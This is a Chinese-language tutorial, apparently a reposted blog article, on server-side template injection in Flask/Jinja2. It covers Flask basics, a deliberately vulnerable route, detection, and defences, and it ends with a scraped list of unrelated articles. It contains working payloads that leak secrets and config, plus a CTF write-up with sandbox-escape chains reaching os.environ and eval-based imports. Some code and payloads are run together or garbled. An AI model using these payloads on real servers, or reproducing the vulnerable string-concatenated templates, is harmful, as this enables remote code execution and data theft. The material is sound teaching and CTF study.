flask SSTI漏洞

文章目录

  • 第一章 Flask ssti漏洞的代码(长什么样子)
    • 1.1 代码
    • 1.2 正常测试
    • 1.3 利用漏洞测试
      • 1.3.1 获取字典中的密钥
      • 1.3.2 获取整个person 字典中的内容
      • 1.3.3 获取服务器端敏感的配置参数
    • 1.4 预防敏感信息泄露
  • 第二章 前言(基础知识储备)
    • 2.1 flask基础
    • 2.2 程序分析
    • 2.3 注册路由
    • 2.4 装饰器
    • 2.5 本地运行程序
    • 2.6 Flask变量规则
    • 2.7 渲染方法
  • 第三章 服务器端模板(SST)
    • 3.1 为什么需要服务器端模板(SST)(why)
    • 3.2 什么是服务器端模板(SST)(what)
  • 第四章 服务器模板注入(SSTI)
    • 4.1 什么是服务器模板注入
    • 4.2 模板注入原理
    • 4.3 模板注入检测
  • 第五章 例子(CTF)
    • 5.1 构造payload
    • 5.2这个题目是TWCTF的题目,源码如下
  • 第五章 如何防御服务器模板注入
  • 参考资料
  • 附录

第一章 Flask ssti漏洞的代码(长什么样子)

1.1 代码

from flask import Flask
from flask import request
from flask import render_template_string
from flask import render_templateapp = Flask(__name__)@app.route('/login')
def hello_ssti():person = {'name': 'hello','secret': '7d793037a0760186574b0282f2f435e7'}if request.args.get('name'):person['name'] = request.args.get('name')#获取查询参数name的值template = '<h2>Hello %s!</h2>' % person['name']return render_template_string(template, person=person)if __name__ == "__main__":app.run(debug=True)

1.2 正常测试

运行上面这段代码,并在浏览器中访问 http://127.0.0.1:5000/login ,显示的结果为:

在这里插入图片描述

然后我们尝试一些良性的输入,访问 http://127.0.0.1:5000/login?name =flask ,结果为:

在这里插入图片描述

渲染过程如下,render_tempalte()函数的第一个参数为渲染目标的HTML字符串、第二个参数为需要加载到字符串指定标签位置的内容:

其实render_template()的功能时先引入template,同时根据后门传入的参数,对template进行修改渲染

在这里插入图片描述

1.3 利用漏洞测试

1.3.1 获取字典中的密钥

下面演示一些攻击者的输入,比如访问 http://127.0.0.1:5000/ login?name=flask{{person.secret}} ,你会发现页面中除了显示了 Hello flask!之外,连同秘钥也一起被显示了。

在这里插入图片描述

1.3.2 获取整个person 字典中的内容

由于在模板中使用的是 % 字符串模板,所以它对任何传递给 python 表达式的内容进行了求值。在 Flask 模板语言中,我们传递了 {{person.secret}},它对字典 person 中保密的键值进行了求值,这泄露了应用程序的秘钥。
我们还可以执行更强大的攻击,访问 http://127.0.0.1:5000/ login?name={% for item in person %}{{item, person[item]}} {% end for%},你会发现整个 person 字典中的内容全被显示在页面中了。

在这里插入图片描述

如果不加{% endfor %},会报错

在这里插入图片描述

1.3.3 获取服务器端敏感的配置参数

即使攻击者想要获取服务器端敏感的配置参数,也可以通过 {{ config }} 的名称采纳数来获取,访问 http://127.0.0.1:5000/login?name= {{%20config%20}},你会发现服务器的配置显示在页面中了。

在这里插入图片描述

1.4 预防敏感信息泄露

那么如何避免敏感信息泄露呢?在这个情况下,解决的方法是使用模板中我们需要的特定变量,而不是直接使用 %s。 比如我们将 flask 代码改为:

from flask import Flask
from flask import request, render_template_string, render_templateapp = Flask(__name__)@app.route('/login')
def hello_ssti():person = {'name': 'world','secret': '7d793037a0760186574b0282f2f435e7'}if request.args.get('name'):person['name'] = request.args.get('name')template = '<h2>Hello {{ person.name }}!</h2>'return render_template_string(template, person=person)if __name__ == "__main__":app.run()
  • Serving Flask app “main” (lazy loading)

  • Environment: production
    WARNING: This is a development server. Do not use it in a production deployment.
    Use a production WSGI server instead.

  • Debug mode: off

  • Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
    然后我们在尝试访问 http://127.0.0.1:5000/login?name={{%20config%20}},你会发现显示的结果只是字符串 {{ config }},而没有服务器的敏感信息了。
    在这里插入图片描述

第二章 前言(基础知识储备)

2.1 flask基础

Flask是一个用Python编写的Web应用程序框架。Flask基于Werkzeug WSGI工具包和Jinja2模板引擎。
WSGI

Web Server Gateway Interface(Web服务器网关接口,WSGI)已被用作Python Web应用程序开发的标准。 WSGI是Web服务器和Web应用程序之间通用接口的规范。

Werkzeug
它是一个WSGI工具包,它实现了请求,响应对象和实用函数。 这使得能够在其上构建web框架。 Flask框架使用Werkzeug作为其基础之一。

jinja2
jinja2是Python的一个流行的模板引擎。Web模板系统将模板与特定数据源组合以呈现动态网页。

在学习SSTI之前,先把flask的运作流程搞明白。这样有利用更快速的理解原理。

先看一段python代码,简单的实现了一个输出hello word的web程序。

#从Flask框架中导入Flask类
from flask import Flask传入_name_初始化一个Flask实例
app = Flask(__name__)这个路由将根URL映射到了hello_world函数上
@app.route("/")  #route装饰器的作用是将函数与url绑定起来,这里的作用就是当访问http://127.0.0.1:5000/的时候,flask会返回hello word
def hello_world():      #定义视图函数return "<h1>Hello World!</h1>"   #返回响应对象if __name__ == "__main__":#指定默认主机为是127.0.0.2,port为9999,默认是127.0.0.1:5555app.run(host="127.0.0.2",port=9999)
  • Serving Flask app “main” (lazy loading)

  • Environment: production
    WARNING: This is a development server. Do not use it in a production deployment.
    Use a production WSGI server instead.

  • Debug mode: off

  • Running on http://127.0.0.2:9999/ (Press CTRL+C to quit)
    127.0.0.1 - - [03/Jul/2020 16:30:15] “[37mGET / HTTP/1.1[0m” 200 -
    127.0.0.1 - - [03/Jul/2020 16:30:15] “[33mGET /favicon.ico HTTP/1.1[0m” 404 –

输出结果:
hello world

2.2 程序分析

所有的Flask程序都必须创建一个程序实例。Web服务器使用一种名为Web服务器网关接口(Web Server Gateway Interface,WSGI)的协议,把接收自客户端的所有请求都转给这个对象进行处理。程序实例是Flask类的对象,经常使用下述代码创建:

from flask import Flask
app = Flask(__name__)
from flask import Flask这行代码表示从flask包导入Flask类,这个类表示一个Flask程序。实例化这个类,就得到我们的程序实例app;  
app=Flask(__name__)这行代码表示传入__name__这个变量值来初始化Flask对象app,Flask用这个参数确定程序的根目录,__name__代表的是这个模块本身的名称。python会根据所处的模块来赋予_name_变量相应的值,对于特定的程序,比如(app.py),这个值为app。

2.3 注册路由

在这里插入图片描述

第一步:用户在浏览器输入URL访问某个资源;
第二步:Flask接受用户请求并分析请求的URL;
第三步:为这个URL找到对应的处理函数;
第四步:执行函数并生成响应,返回给浏览器;
第五步:浏览器接收并解析响应,将信息显示在页面中。

上面这些步骤中,大部分都由Flask完成,我们要做的只是建立处理请求的函数,并为其定义对应的URL规则。只需为函数附加app.route()装饰器,并传入URL规则作为参数,我们就可以让URL与函数建立关联。这个过程我们称之为注册路由,路由否则管理URL和函数之间的映射,而这个函数则称为视图函数。

路由的含义:顾名思义,“按照某线路发送”,即调用与请求URL对应的视图函数。

2.4 装饰器

Flask类的route()函数是一个装饰器,它告诉应用程序哪个URL应该调用相关的函数。

app.route(rule, options)
• rule 参数表示与该函数的URL绑定。
• options 是要转发给基础Rule对象的参数列表。

在上面的示例中,’/ ’ URL与hello_world()函数绑定。因此,当在浏览器中打开web服务器的主页时,将呈现该函数的输出。
比如修改rule

@app.route(/hello’)
def hello_world():return ‘hello world’

在这里,URL ‘/ hello’ 规则绑定到hello_world()函数。 因此,如果用户访问http:// localhost:5000 / hello URL,hello_world()函数的输出将在浏览器中呈现。

from flask import Flask
app=Flask(__name__)
@app.route('/hello')
def hello():return "hello world!"
if __name__=="__main__":app.run()
  • Serving Flask app “main” (lazy loading)

  • Environment: production
    WARNING: This is a development server. Do not use it in a production deployment.
    Use a production WSGI server instead.

  • Debug mode: off

  • Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)

2.5 本地运行程序

Flask类的run()方法在本地开发服务器上运行应用程序。
app.run(host, port, debug, options)
所有参数都是可选的

调试模式
通过调用run()方法启动Flask应用程序。但是,当应用程序正在开发中时,应该为代码中的每个更改手动重新启动它。为避免这种不便,请启用调试支持。如果代码更改,服务器将自行重新加载。它还将提供一个有用的调试器来跟踪应用程序中的错误(如果有的话)。
在运行或将调试参数传递给run()方法之前,通过将application对象的debug属性设置为True来启用Debug模式。

app.debug = True
app.run()
app.run(debug = True)

2.6 Flask变量规则

通过向规则参数添加变量部分,可以动态构建URL。此变量部分标记为。它作为关键字参数传递给与规则相关联的函数。
在以下示例中,route()装饰器的规则参数包含附加到URL '/hello’的。因此,如果在浏览器中输入http://127.0.0.1:5000/hello/humen作为URL ,则’humen’将作为参数提供给hello()函数。

from flask import Flask
app = Flask(__name__)@app.route('/hello/<name>')
def hello_name(name):return 'Hello %s!' % nameif __name__ == '__main__':app.run()
  • Serving Flask app “main” (lazy loading)

  • Environment: production
    WARNING: This is a development server. Do not use it in a production deployment.
    Use a production WSGI server instead.

  • Debug mode: off

  • Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)

2.7 渲染方法

2.7.1 模板与静态文件

一个完整的网站当然不能只返回用户一句“hello,world!",我们需要模板(template)和静态文件(static file)来生成更加丰富的网页。模板即包含程序页面的HTML文件,静态文件则是需要在HTML文件中加载的CSS和JavaScript文件,以及图片、字体文件等资源文件。默认情况下,模板文件存放在项目根目录中的templates文件中,静态文件存放在static文件夹下,这两个文件夹需要和包含程序实例的模块处于同一个目录下,对应的项目节格示例如下所示:

hello/- templates/- hello.html- static/- hello.js- hello.css- app.py

在下面的示例中,在index.html中的HTML按钮的OnClick事件上调用hello.js中定义的javascript函数,该函数在Flask应用程序的“/”URL上呈现。

from flask import Flask, render_template
app = Flask(__name__)@app.route("/")
def index():return render_template("index.html")if __name__ == '__main__':app.run(debug = True)

index.html的HTML脚本如下所示:

<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><title>Title</title><script type = "text/javascript"src = "{{ url_for('static', filename = 'hello.js') }}" ></script></head><body><input type = "button" onclick = "sayHello()" value = "Say Hello" /></body></html>

Hello.js包含sayHello()函数。

function sayHello() {alert("Hello World")
}

flask模块的渲染方法有render_template和render_template_string两种。

2.7.2 render_template()
render_template()是用来渲染一个指定的文件的。使用如下
因为,从Python代码生成HTML内容很麻烦,尤其是在需要放置变量数据和Python语言元素(如条件或循环)时。这需要经常从HTML中转义。
这是可以利用Flask所基于的Jinja2模板引擎的地方。而不是从函数返回硬编码HTML,可以通过render_template()函数呈现HTML文件。

return render_template('index.html')

2.7.3 render_template_string()

render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。

html = '<h1>This is index page</h1>'
return render_template_string(html)

2.7.4 模版
flask是使用Jinja2来作为渲染引擎的。
Jinja2模板引擎使用以下分隔符从HTML转义。

•	{% ... %}用于语句
•	{{ ... }}用于表达式可以打印到模板输出
•	{# ... #}用于未包含在模板输出中的注释
•	#... ##用于行语句

在网站的根目录下新建templates文件夹,这里是用来存放html文件,也就是模板文件。
模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。比如说显示用户名的地方,这个时候就需要使用模板支持的语法,来传参。
app.py内容如下:

from flask import Flask, render_template
app = Flask(__name__)
@app.route('/')
def hello_name():return render_template('hello.html',content="This is any page.")
if __name__ == "__main__":app.run()

/templates/hello.html的内容为:

<title>Title</title>
<h1>{{content}}</h1>

这里hello.html页面将输出 This is any page.
{{}}在Jinja2中作为变量包裹标识符。py代码里面可以给content变量传任意参数。

2.8 Flask Request对象
来自客户端网页的数据作为全局请求对象发送到服务器。为了处理请求数据,应该从Flask模块导入。
Request对象的重要属性如下所列:

•	Form - 它是一个字典对象,包含表单参数及其值的键和值对。
•	args - 解析查询字符串的内容,它是问号(?)之后的URL的一部分。
•	Cookies - 保存Cookie名称和值的字典对象。
•	files - 与上传文件有关的数据。
•	method - 当前请求方法。

在渲染模板时,不需要手动分配,可以直接在模板中使用的模板变量及函数:config、request、url_for()、get_flashed_messages()

第三章 服务器端模板(SST)

3.1 为什么需要服务器端模板(SST)(why)

首先,下面的示例是一个为用户提供的源代码,通过分析下面的示例,来解释HTML与应用程序逻辑之间进行混合的弊端。

在这里插入图片描述

上述代码,不仅仅包括静态的HTML代码,还包括用户名和密码的输入,以及提交按钮。 当用户登录过这个网站,那么用户名和密码就从cookie中提取,并自动登陆。这样就有一个问题,必须以某种方式将值插入到HTML文件中。
通过一个错误的例子来解决上述问题

在这里插入图片描述

上述代码有很多问题
• 没有对用户的输入进行处理;
• HTML代码和PHP代码复杂的混合在一起,非常难以理解;
• 部分HTML代码分布在多个函数中;
• 尝试修改HTML代码中任何内容时(比如新增css类或修改HTML标签的顺序),会比较麻烦。
上述的代码虽然可以格式化进行优化,但是,在大型的代码库中,要求必须有良好的拓展性,所以即使代码格式良好,也会很快变得难以管理。这就是为什么我们需要模板。

总而言之,如果在一个页面中 php(其他代码) 代码与 html 代码混合在一起,在很多时候都会造成不便,用模板引擎可以让 php(其他代码) 代码和 html 代码进行分离。

3.2 什么是服务器端模板(SST)(what)

与上面混乱的代码相比,服务器端模板提供了一种更加简单的方法来管理动态生成的HTML代码。最大的优点就是你可以在服务器端动态生成HTML页面,看起来跟静态HTML页面一样。现在我们来看看,当我们使用服务器端模板时,复杂的代码看起来如何。
在这里插入图片描述

上述代码对于前面的代码在形式上有一个很大的改进。然而,这个示例代码仍然是静态的。为了显示正确的信息代替花括号占位符,这样就需要一个模板引擎来替换花括号占位符。后端代码如下下图所示:

这段代码的作用非常清楚,首先加载login.tpl模板文件,然后给模板中名称相同的变量赋值(大括号里的变量),然后,调用show()函数,相应地替换变量内容并输出HTML代码。然而,我们在模板中增加了新的功能,可以向用户展示模板渲染的时间。
3.3 为什么服务器端模板是危险的
SST 表面上看起来并没有什么危害,但是如果你仔细研究的话,会发现可以从模板内执行本机函数。这意味着,如果攻击者能够将这样的表达式写入模板文件,他们就可以有效地执行任意函数。但是这个文件不一定非要包含你的模板。这种情况下,模板引擎无论如何都会将文件转换为字符串,以便用它们的结果代替表达式。这也是为什么模板引擎允许你对它们进行传递字符串,而不 用直接传递文件位置。
接下来,可以将其和require()和eval()函数进行比较。require()函数会包含一个文件并执行,eval()函数不是执行文件,而是将字符串当成代码来执行。我们应该知道将未经处理的输入传递给eval()函数是极其危险的。每一本优秀的编程书都会反复的提到这一点。但是当涉及到处理模板引擎时,人们却通常忽略了这一点。所以,有时候,你看到的代码是下面这样的:

$templateEngine = new TemplateEngine();
$template = $templateEngine->loadString('<form method = {{method}} action = "'. $_SERVER['PHP_SELF'] . '">[...]</form>');
$template->assign('method','POST');
$template->show();

这段代码显示,在模板中,有一处输入是用户可控的,这就意味着用户可以执行模板表达式。

举个例子,恶意的表达式可能非常简单,比如[[system(‘whoami’)]],这就会执行系统命令whoami。因此模板注入很容易导致远程代码执行(RCE),就像未经过处理的输入直接传递为eval()函数一样。

第四章 服务器模板注入(SSTI)

4.1 什么是服务器模板注入

Server-Side Template Injection
SST 信任了用户的输入,并且执行这些内容,包括执行本机函数。就像 eval 函数对传入的内容未加任何过滤一样。因此模板注入很容易导致远程代码执行(RCE)、信息泄露等漏洞。
上述描述就是我们所说的服务器端模板注入(SSTI)。这个例子非常明显,而在实际中,漏洞会非常隐蔽,难以发现。比如将许多不同的组件连接在一起传递为模板引擎,但是忽视了其中的某些组件可能包含用户可控的输入。

4.2 模板注入原理

模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程,这里我们使用 Python 模版引擎Jinja2作为例子来说明模板注入产生的原理。考虑下面这段代码:

from flask import Flask
from flask import request
from flask import render_template_string
from flask import render_templateapp = Flask(__name__)@app.route('/login')
def hello_ssti():person = {'name': 'hello','secret': '7d793037a0760186574b0282f2f435e7'}if request.args.get('name'):person['name'] = request.args.get('name')#获取查询参数name的值template = '<h2>Hello {{ person.name }}!</h2>'return render_template_string(template, person=person)if __name__ == "__main__":app.run(debug=True)

使用Jinja2中的render_template_string模版引擎渲染页面,其中模版含有 {{ person.name }}变量,其模版变量值来自于 GET 请求参数 request.args.get(‘name’)。显然这段代码并没有什么问题,即使你想通过 name 参数传递一段 JavaScript 代码给服务端进行渲染,也许你会认为这里可以进行 XSS,但是由于模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击:
在这里插入图片描述

但是,如果渲染的模版内容受到用户的控制,情况就不一样了。修改代码为:

from flask import Flask
from flask import request
from flask import render_template_string
from flask import render_templateapp = Flask(__name__)@app.route('/login')
def hello_ssti():person = {'name': 'hello','secret': '7d793037a0760186574b0282f2f435e7'}if request.args.get('name'):person['name'] = request.args.get('name')#获取查询参数name的值template = '<h2>Hello %s!</h2>' % person['name']# 插入到返回值return render_template_string(template, person=person)if __name__ == "__main__":app.run(debug=True)

上面这段代码在构建模版时,拼接了用户输入作为模板的内容,现在如果再向服务端直接传递 JavaScript 代码,用户输入会原样输出,测试结果显而易见:

在这里插入图片描述

对比上面两种情况,简单的说服务端模板注入的形成终究还是因为服务端相信了用户的输出而造成的(Web安全真谛:永远不要相信用户的输入!)。当然了,第二种情况下,攻击者不仅仅能插入JavaScript脚本,还能针对模板框架进行进一步的攻击,此部分只说明原理,在后面会对攻击利用进行详细说明和演示。

4.3 模板注入检测

上面已经讲明了模板注入的形成原来,现在就来谈谈对其进行检测和扫描的方法。如果服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出。
借用一下代码:

from flask import Flask
from flask import request
from flask import render_template_string
from flask import render_templateapp = Flask(__name__)@app.route('/login')
def hello_ssti():person = {'name': 'hello','secret': '7d793037a0760186574b0282f2f435e7'}if request.args.get('name'):person['name'] = request.args.get('name')#获取查询参数name的值template = '<h2>Hello %s!</h2>' % person['name']# 插入到返回值return render_template_string(template, person=person)if __name__ == "__main__":app.run(debug=True)

在 flask模板引擎里, {{ var }} 除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值,例如这里用户输入 name={{210}} ,则在服务端拼接的模版内容为:
Hello {{2
10}}!
flask 模板引擎在编译模板的过程中会计算 {{210}} 中的表达式 210 ,会将其返回值 20 作为模板变量的值输出,如下图:

在这里插入图片描述

现在把测试的数据改变一下,插入一些正常字符和Jinja2模板引擎默认的注释符,构造 Payload 为:
Humen{# comment #}{{28}}OK
实际服务端要进行编译的模板就被构造为:
Hello Humen{# comment #}{{2
8}}OK!
这里简单分析一下,由于 {# comment #} 作为Jinja2模板引擎的默认注释形式,所以在前端输出的时候并不会显示,而 {{2*8}} 作为模板变量最终会返回 16 作为其值进行显示,因此前端最终会返回内容 Hello Humen16OK !,如下图:

在这里插入图片描述

通过上面两个简单的示例,就能得到 SSTI 扫描检测的大致流程(这里以 Jinja2 为例):
在这里插入图片描述

同常规的 SQL 注入检测,XSS 检测一样,模板注入漏洞的检测也是向传递的参数中承载特定 Payload 并根据返回的内容来进行判断的。每一个模板引擎都有着自己的语法,Payload 的构造需要针对各类模板引擎制定其不同的扫描规则,就如同 SQL 注入中有着不同的数据库类型一样。
简单来说,就是更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI。

第五章 例子(CTF)

在 CTF 中,最常见的也就是 Jinja2 的 SSTI 漏洞了,过滤不严,构造恶意数据提交达到读取flag 或 getshell 的目的。下面以 Python 为例:
Flask SSTI 题的基本思路就是利用 python 中的 魔术方法 找到自己要用的函数。

__dict__:保存类实例或对象实例的属性变量键值对字典
__class__:返回调用的参数类型
__mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。__bases__:返回类型列表__subclasses__:返回object的子类
__init__:类的初始化方法__globals__:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

首先看一下类的dict属性和类对象的dict属性

class A(object):"""Class A."""a = 0b = 1def __init__(self):self.a = 2self.b = 3def test(self):print ('a normal func.')@staticmethoddef static_test(self):print ('a static func.')@classmethoddef class_test(self):print ('a calss func.')obj = A()
print ("类:", A.__dict__)
print ("对象:", obj.__dict__)
类: {'__module__': '__main__', '__doc__': '\n    Class A.\n    ', 'a': 0, 'b': 1, '__init__': <function A.__init__ at 0x000002573AD5A1E0>, 'test': <function A.test at 0x000002573AD5AF28>, 'static_test': <staticmethod object at 0x000002573AD4B780>, 'class_test': <classmethod object at 0x000002573AD4B7F0>, '__dict__': <attribute '__dict__' of 'A' objects>, '__weakref__': <attribute '__weakref__' of 'A' objects>}
对象: {'a': 2, 'b': 3}

由此可见, 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类dict里的
  对象的dict中存储了一些self.xxx的一些东西
base 和 mro 都是用来寻找基类的。
from flask import request

for i in range(2):print(''.__class__.__mro__[i])print({}.__class__.__bases__[0])print(().__class__.__bases__[0])print([].__class__.__bases__[0])print(request.__class__.__mro__[i]) #针对jinjia2/flask为[9]适用
<class 'str'>
<class 'object'>
<class 'object'>
<class 'object'>
<class 'werkzeug.local.LocalProxy'>
<class 'object'>
<class 'object'>
<class 'object'>
<class 'object'>
<class 'object'>

5.1 构造payload

构造payload的大致思路是:找到父类–>寻找子类(可能存在对文件操作的类file)–>找关于命令执行或者文件操作的模块(os,sys,file,shutil, subprocess,configparser)
也就是通过python的对象的继承来一步步实现文件读取和命令执行的。
1.获取字符串的类对象(获取一个类):

'a'.__class__
str

2.寻找基类链,找到类

'a'.__class__.__mro__
(str, object)

3.寻找类的所有子类中可用的引用类

'a'.__class__.__mro__[1].__subclasses__()
[type,weakref,weakcallableproxy,weakproxy,int,bytearray,bytes,list,NoneType,NotImplementedType,traceback,super,range,dict,dict_keys,dict_values,dict_items,odict_iterator,set,str,slice,staticmethod,complex,float,frozenset,property,managedbuffer,memoryview,tuple,…………………………………__main__.Python,__main__.Python,__main__.Python,__main__.Python,__main__.Python,__main__.Python,__main__.Python]

没找到命令执行或者文件操作的模块
4.利用返回一个复数。

'a'.__class__.__mro__[1].__subclasses__()[22](1,2)
(1+2j)

5.2这个题目是TWCTF的题目,源码如下

import flask
import osapp = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')
def index():return open(__file__).read()@app.route('/shrine/<path:shrine>')
def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+sreturn flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__':app.run(debug=True)

为了方便复现,增加了flag.txt文件,并将上述代码的第五行进行简单修改,修改如下:

app.config['FLAG'] =open('flag.txt').read()

限制:过滤了(),和关键字config,self。
Config
config为flask 类的配置文件内容,config为字典。如果不过滤config,显示如下
在这里插入图片描述

过滤以后的结果
在这里插入图片描述

self
self是类实例化对象,这里指app, dict:保存类实例或对象实例的属性变量键值对字典。
self在Python里不是关键字。self代表当前对象的地址。self能避免非限定调用造成的全局变量。
Python的类的方法和普通的函数有一个很明显的区别,在类的方法必须有个额外的第一个参数 (self ),但在调用这个方法的时候不必为这个参数赋值 (显胜于隐 的引发)。Python的类的方法的这个特别的参数指代的是对象本身,而按照Python的惯例,它用self来表示。(当然我们也可以用其他任何名称来代替,只是规范和标准在那建议我们一致使用self)
在这里插入图片描述

在这里插入图片描述

如果没有过滤(),则可以通过通过subclasses()结合基类找到os模块来泄露flag,类似

[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").__dict__.environ['FLAG']
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__'.("os").__dict__.environ['FLAG']

如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)。
比如url_for和getflashed_messages的__globals中均含有current_app,那么获得current_app以后就可以直接访问config
url_for() 方法:
比如通过urlfor._globals[‘current_app’].config
在这里插入图片描述

url_for() 会返回视图函数对应的URL。如果定义的视图函数是带有参数的,则可以将这些参数作为命名参数传入。

在这里插入图片描述

get_flashed_messages() 方法:
返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
或者通过get_flashed_messages.__globals[‘current_app’].config

在这里插入图片描述

第五章 如何防御服务器模板注入

• 为了防止此类漏洞,你应该像使用eval()函数一样处理字符串加载功能。尽可能加载静态模板文件。
• 注意:我们已经确定此功能类似于require()函数调用。因此,你也应该防止本地文件包含(LFI)漏洞。不要允许用户控制此类文件或其内容的路径。
• 另外,无论在何时,如果需要将动态数据传递给模板,不要直接在模板文件中执行,你可以使用模板引擎的内置功能来扩展表达式,实现同样的效果。

参考资料

• 从零学习flask模板注入
• python-flask模块注入(SSTI)
• Flask(Jinja2) 服务端模板注入漏洞(SSTI)
• 钱游 Python Flask Web开发入门与项目实战
• Flask应用_w3cshool
• 服务器端模板注入(SSTI)
• Server-Side Template Injection Introduction & Example
• 常见的web攻击方式之服务器端模板注入
• 服务端模板注入攻击 (SSTI) 之浅析
• CTF|有关SSTI的一切小秘密【Flask SSTI+姿势集+Tplmap大杀器】
• Flask Web 开发实战:入门、进阶与原理分析/李辉著.-北京:机械工业出版社,2018.8(Web开发技术丛书)
• Python dict属性详解

附录

person = {
‘name’: ‘hello’,
‘secret’: ‘7d793037a0760186574b0282f2f435e7’
}

for item in person:
print(item,person[item])

name hello
secret 7d793037a0760186574b0282f2f435e7

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/8991.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Ubuntu20.04软件安装大全

目录 Ubuntu20.04 软件安装大全前言1. Windows和Ubuntu双系统安装1.1 下载Ubuntu系统镜像1.2 磁盘分区1.3 GPT分区安装Ubuntu1.4 系统完成后的一些设置1.5 遇到的一些小bug 2. 换源2.1 apt换源2.2 pip换源 3. 显卡驱动安装3.1 卸载显卡驱动3.2 准备工作3.3 驱动安装3.4 验证 4.…

探索小程序的世界(专栏导读、基础理论)

文章导读 一、为什么要学习小程序开发1.1 低门槛1.2 市场需求1.3 创业机会1.4 技术发展趋势 二、专栏导读2.1 实战系列2.2 工具系列2.3 游戏系列2.4 插件系列 三、基础理论3.1 微信小程序简易教程框架组件API工具 开发者工具项目结构 3.2 app.json配置pageswindowtabbar 3.3 Ap…

CLion开发环境的完全解析(QT开发?STM32?顺便速通cmake

文章目录 下载与安装主题推荐编辑器与clang-format设置鼠标滚轮改变字体大小clang-format的使用我的 .clang-format 配置 编译工具链设置编译工具链的添加与解释cmake配置项的添加与解释 cmake的使用与实战常用的cmake变量&#xff08;入门&#xff09;常用的cmake命令&#xf…

《HelloGitHub》第 83 期

兴趣是最好的老师&#xff0c;HelloGitHub 让你对编程感兴趣&#xff01; 简介 HelloGitHub 分享 GitHub 上有趣、入门级的开源项目。 https://github.com/521xueweihan/HelloGitHub 这里有实战项目、入门教程、黑科技、开源书籍、大厂开源项目等&#xff0c;涵盖多种编程语言 …

风尚云网前端-vue中使代码高亮块显示

应该在项目中常见的这种需要把&#xff0c;高亮代码块显示代码&#xff0c;今天我们用到的是高亮官网 基本用法 在浏览器中 在网页上使用 highlight.js 的最低要求是链接到库以及主题之一并调用highlightAll&#xff1a; <link rel"stylesheet" href"/path…

分享!!!发现一个暂时免费使用的AI网站!!!

前言&#xff1a;虽然ChatGPT在这段时间很火&#xff0c;但是终究对我们来说也只是个工具&#xff0c;我们只需要知道如何使用它&#xff0c;它为我们返回的结果不可能在我们平常需求中100%的一样&#xff0c;是需要我们去看懂代码&#xff0c;然后修改代码的&#xff0c;打铁还…

ChatGPT 落入大学生之手,6 个月后实现月收入 45 万元,代价:挂科两门!

推荐阅读&#xff1a;日本“性爱机器人”上线1小时被抢空&#xff0c;背后却让人细思极恐 ChatGPT 浪潮来袭&#xff0c;大厂们正在紧锣密鼓地研发大模型&#xff0c;创业公司在垂直生态之下发力内容制作、工具等应用&#xff0c;不少一线开发者、爱好者则利用 AI 在提升工作效…

chatgpt赋能python:Python不挂科,学会这些技能就足够

Python不挂科&#xff0c;学会这些技能就足够 Python已成为现代编程语言中最受欢迎的一种&#xff0c;它擅长处理数据、人工智能等复杂的软件开发任务。互联网时代的到来也让Python的使用场景更加广泛&#xff0c;从前后端开发到数据分析。无论是学习Python的初学者还是有一定…

chatgpt赋能python:Python学习SEO指南:如何避免挂科

Python学习SEO指南&#xff1a;如何避免挂科 Python作为一门优秀的编程语言&#xff0c;被广泛应用于数据分析、人工智能、Web开发等领域。而如果你想在SEO领域中使用Python&#xff0c;那么就需要具备一定的编程基础和相关知识。在这篇文章中&#xff0c;我们将探讨如何学习P…

chatgpt赋能python:Python怎么不挂科?一位10年Python开发工程师的经验分享

Python怎么不挂科&#xff1f;一位10年Python开发工程师的经验分享 作为一种运行速度快且易于学习的编程语言&#xff0c;Python逐渐成为了很多编程爱好者和IT工程师的首选。但是&#xff0c;对于很多刚学习Python不久的人来说&#xff0c;由于学习方法不当&#xff0c;或者考…

chatgpt赋能python:大学Python挂科补考-怎么样才能顺利通过?

大学Python挂科补考 - 怎么样才能顺利通过&#xff1f; Python是一门广泛使用的编程语言&#xff0c;越来越多的大学选择将其纳入到计算机科学的课程中。然而&#xff0c;对于初学者来说&#xff0c;Python可能会变得很棘手&#xff0c;尤其是当你需要在考试或补考中获得高分时…

chatgpt赋能python:Python挂科了要重修么?

Python挂科了要重修么&#xff1f; 作为一名有10年python编程经验的工程师&#xff0c;我经常被问到这样的问题&#xff1a;“如果在学习和使用Python的过程中挂科了&#xff0c;是否需要重修&#xff1f;”这是一个非常好的问题&#xff0c;并且具有挑战性。在本文中&#xf…

chatgpt赋能python:Python课程为何成为大学生挂科的“罪魁祸首“?

